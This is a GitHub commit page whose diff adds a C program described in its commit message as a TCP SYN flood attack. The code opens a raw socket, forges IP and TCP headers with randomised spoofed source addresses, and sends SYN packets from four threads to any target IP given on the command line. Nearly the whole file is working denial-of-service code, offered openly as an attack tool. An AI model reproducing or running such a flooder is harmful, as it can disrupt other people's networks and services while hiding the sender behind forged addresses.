Skip to content

Commit 680533a

Browse files
committed
增加使用TCP sync洪水攻击
1 parent 0e3b26a commit 680533a

File tree

1 file changed

+264
-0
lines changed

1 file changed

+264
-0
lines changed
Lines changed: 264 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,264 @@
1+
/*
2+
* icmp_flood.cpp
3+
*
4+
* Created on: 2016年10月21日
5+
* Author: hanlon
6+
*/
7+
8+
#include <unistd.h>
9+
#include <errno.h>
10+
#include <sys/time.h>
11+
#include <stdio.h>
12+
#include <string.h> // bzero
13+
#include <signal.h>
14+
#include <pthread.h>
15+
#include <stdlib.h> // void srand(unsigned seed) ; int rand(void);
16+
#include <sys/syscall.h> // syscall(SYS_gettid)
17+
18+
#include <sys/socket.h>
19+
#include <netinet/in.h> // socket AF_INET SOCK_RAW IPPROTO_ICMP
20+
#include <netinet/ip.h> // struct ip
21+
#include <netinet/ip_icmp.h>// struct icmp ICMP_ECHO ICMP_ECHOREPLY
22+
#include <netinet/tcp.h> // struct tcphdr
23+
#include <netinet/udp.h> // struct udphdr
24+
#include <arpa/inet.h> // inet_ntoa(struct in_addr>>字符串) inet_addr(字符串>>长整型)
25+
// struct in_addr 是 struct sockaddr_in的成员 sin_addr 类型
26+
// struct sockaddr_in 是 struct sockaddr 在以太网的具体实现
27+
#include <netdb.h> // getprotobyname gethostbyname
28+
#include <net/if.h> // IFNAMSIZ struct ifreq
29+
#include <linux/sockios.h> // SIOCGIFADDR /* Socket configuration controls. */
30+
31+
32+
33+
static int rawsock = 0; /*发送和接收线程需要的socket描述符*/
34+
static int alive = 0;
35+
static struct sockaddr_in target_addr ;
36+
#define ATTACK_THREAD_COUNT 4
37+
#define ATTACK_DATA_LENGTH 64
38+
struct tcp_sync_flood
39+
{
40+
struct ip ip_header;
41+
struct tcphdr tcp_header;
42+
unsigned char data[ATTACK_DATA_LENGTH];
43+
};
44+
45+
// 产生某个范围内的随机数 [begin,end] 包含begin和end
46+
static inline int random_src_addr(int begin , int end ){
47+
int gap = end - begin + 1 ;
48+
srand((unsigned int)time(0));
49+
return random()%gap + begin ;
50+
}
51+
52+
static unsigned short crc16_cksum(unsigned char *data, int len)
53+
{
54+
int sum=0;
55+
int odd = len & 0x01;
56+
while( len & 0xfffe) {
57+
sum += *(unsigned short*)data;
58+
data += 2;
59+
len -=2;
60+
}
61+
if( odd) {
62+
unsigned short tmp = ((*data)<<8)&0xff00;
63+
sum += tmp;
64+
}
65+
sum = (sum >>16) + (sum & 0xffff);
66+
sum += (sum >>16) ;
67+
return ~sum;
68+
}
69+
70+
static void tcp_pack(struct tcphdr *tcph, int length )
71+
{
72+
#define TCP_HEADER_LEN 20
73+
74+
75+
/*设置报头*/
76+
tcph->source = random_src_addr(10000,65535); // 随机端口号 伪端口
77+
//tcph->dest = random_src_addr(0,65535); // 随机端口号 伪端口
78+
tcph->seq = ntohl(random_src_addr(0,100));
79+
tcph->ack_seq = 0;
80+
tcph->doff = TCP_HEADER_LEN / 4 ;
81+
82+
tcph->fin = 0; // 关闭链接
83+
tcph->syn = 1; // 发起一个TCP连接
84+
tcph->rst = 0 ; // 重建链接
85+
tcph->psh = 0 ; // 尽快交给用户层
86+
tcph->ack = 0 ;
87+
tcph->urg = 1 ; // 紧急指针字段
88+
89+
tcph->window = random_src_addr(0,65535);
90+
tcph->check = 0 ;
91+
tcph->urg_ptr = random_src_addr(0,65535);
92+
93+
unsigned char* tcp_data = (unsigned char* )tcph + TCP_HEADER_LEN ;
94+
unsigned char i = 0;
95+
for(i = 0; i< length; i++){
96+
tcp_data[i] = i;
97+
}
98+
99+
tcph->check = crc16_cksum((unsigned char*)tcph, sizeof(struct tcphdr) + length) ;
100+
}
101+
102+
static void ip_pack(struct ip * ipheader , struct sockaddr_in src , struct sockaddr_in dest , int total_len )
103+
{
104+
#define IP_HEADER_LEN 20
105+
106+
unsigned char i = 0;
107+
ipheader->ip_v = 4 ;
108+
ipheader->ip_hl = IP_HEADER_LEN /4 ;
109+
ipheader->ip_tos = 0 ;
110+
ipheader->ip_len = htons( total_len );
111+
static unsigned short ip_id = 0 ;
112+
ipheader->ip_id = htons(ip_id) ; // static 在多线程中 在进程中共享 可能不安全
113+
ip_id ++ ;
114+
unsigned short off = IP_DF | (0 & IP_OFFMASK ) ; // do not Fragmant
115+
ipheader->ip_off = htons (off);
116+
ipheader->ip_ttl = 128 ;
117+
ipheader->ip_p = IPPROTO_TCP; // 修改上层协议 ICMP TCP
118+
ipheader->ip_sum = 0 ;
119+
ipheader->ip_src = src.sin_addr ;
120+
ipheader->ip_dst = dest.sin_addr ;
121+
122+
ipheader->ip_sum = crc16_cksum((unsigned char*)ipheader, 20 );
123+
}
124+
125+
126+
127+
static void* flood_send(void *argv)
128+
{
129+
struct tcp_sync_flood attracker;
130+
memset(&attracker , 0 , sizeof(struct tcp_sync_flood) );
131+
int seq = 0 ;
132+
while(alive)
133+
{
134+
135+
struct sockaddr_in random_src ;
136+
random_src.sin_addr.s_addr = (192&0x000000FF)
137+
+ ((168 << 8)&0x0000FF00)
138+
+ ((1 << 16)&0x00FF0000)
139+
+ ((random_src_addr(1,254) << 24)&0xFF000000) ;
140+
printf("random src %s [%ld]\n" , inet_ntoa(random_src.sin_addr) , syscall(SYS_gettid));
141+
142+
tcp_pack((struct tcphdr *)&attracker.tcp_header, ATTACK_DATA_LENGTH );
143+
ip_pack((struct ip*)&attracker.ip_header , random_src , target_addr ,
144+
sizeof(struct ip) + sizeof(struct tcphdr) + ATTACK_DATA_LENGTH );
145+
146+
int size = 0;
147+
size = sendto (rawsock,
148+
&attracker,
149+
sizeof(struct ip) + sizeof(struct tcphdr) + ATTACK_DATA_LENGTH ,
150+
0, /*flag */
151+
(struct sockaddr *)&target_addr, sizeof(target_addr) );
152+
if(size <0){
153+
perror("sendto error");
154+
sleep(10);
155+
continue;
156+
}
157+
sleep(5);
158+
}
159+
return NULL;
160+
}
161+
162+
static void stop_flood_sigint(int signo)
163+
{
164+
alive = 0;
165+
return;
166+
}
167+
168+
169+
170+
int main(int argc, char *argv[])
171+
{
172+
struct hostent * host = NULL;
173+
struct protoent *protocol = NULL;
174+
int ret = 0 ;
175+
176+
177+
printf("sizeof(struct ip) = %zd\n" , sizeof(struct ip) );
178+
printf("sizeof(struct tcphdr) = %zd\n" , sizeof(struct tcphdr) );
179+
printf("sizeof(struct icmp) = %zd\n" , sizeof(struct icmp) );
180+
181+
/*
182+
* sizeof(struct ip) = 20
183+
sizeof(struct tcphdr) = 20
184+
sizeof(struct icmp) = 28 <= icmp需要特别注意其大小
185+
*
186+
* */
187+
188+
bzero(&target_addr, sizeof(target_addr));
189+
target_addr.sin_family = AF_INET;
190+
in_addr_t inaddr = inet_addr(argv[1]); // 输入的目的地址为字符串IP地址
191+
if(inaddr == INADDR_NONE){
192+
printf("usage : ./flood 192.168.1.1\n");
193+
return -1 ;
194+
}else{ // 为IP地址字符串
195+
memcpy((char*)&target_addr.sin_addr, &inaddr, sizeof(inaddr));
196+
}
197+
printf("Target>>>(%d.%d.%d.%d)\n",
198+
(target_addr.sin_addr.s_addr&0x000000FF)>>0,
199+
(target_addr.sin_addr.s_addr&0x0000FF00)>>8,
200+
(target_addr.sin_addr.s_addr&0x00FF0000)>>16,
201+
(target_addr.sin_addr.s_addr&0xFF000000)>>24);
202+
203+
protocol = getprotobyname("tcp");
204+
if (protocol == NULL){
205+
perror("getprotobyname()");
206+
return -1;
207+
}else{
208+
printf("getprotobyname %s %d\n", protocol->p_name, protocol->p_proto);
209+
}
210+
211+
rawsock = socket(AF_INET, SOCK_RAW, protocol->p_proto);
212+
if(rawsock < 0){
213+
perror("create socket error");
214+
return -1;
215+
}
216+
217+
int set = 1 ;
218+
protocol = getprotobyname("ip");
219+
if (protocol == NULL){
220+
perror("getprotobyname()");
221+
return -1;
222+
}else{
223+
printf("getprotobyname %s %d\n", protocol->p_name, protocol->p_proto);
224+
}
225+
ret = setsockopt(rawsock, protocol->p_proto/*IPPROTO_IP*/, IP_HDRINCL, &set, sizeof(set));
226+
if( ret < 0 ){
227+
perror("setsockopt IP_HDRINCL error");
228+
return -1 ;
229+
}
230+
231+
signal(SIGINT, stop_flood_sigint);
232+
alive = 1;
233+
pthread_t attack_thread_group[ATTACK_THREAD_COUNT];
234+
int err = 0;
235+
236+
int i = 0 ;
237+
for( i = 0 ; i < ATTACK_THREAD_COUNT ; i++ ){
238+
err = pthread_create(&attack_thread_group[i], NULL, flood_send, NULL);
239+
if(err < 0){
240+
attack_thread_group[i] = -1 ;
241+
printf("pthread_create %d error \n" , i);
242+
}else{
243+
sleep(1); // time(0) random
244+
printf("pthread_create %d ok \n" , i);
245+
}
246+
}
247+
248+
for( i = 0 ; i < ATTACK_THREAD_COUNT ; i++ ){
249+
if( attack_thread_group[i] != -1 ){
250+
err = pthread_join(attack_thread_group[i], NULL);
251+
if(err < 0){
252+
printf("pthread_join %d error \n" , i);
253+
}else{
254+
printf("pthread_join %d ok\n" , i);
255+
}
256+
}
257+
}
258+
close(rawsock);
259+
260+
return 0;
261+
}
262+
263+
264+

0 commit comments

Comments
 (0)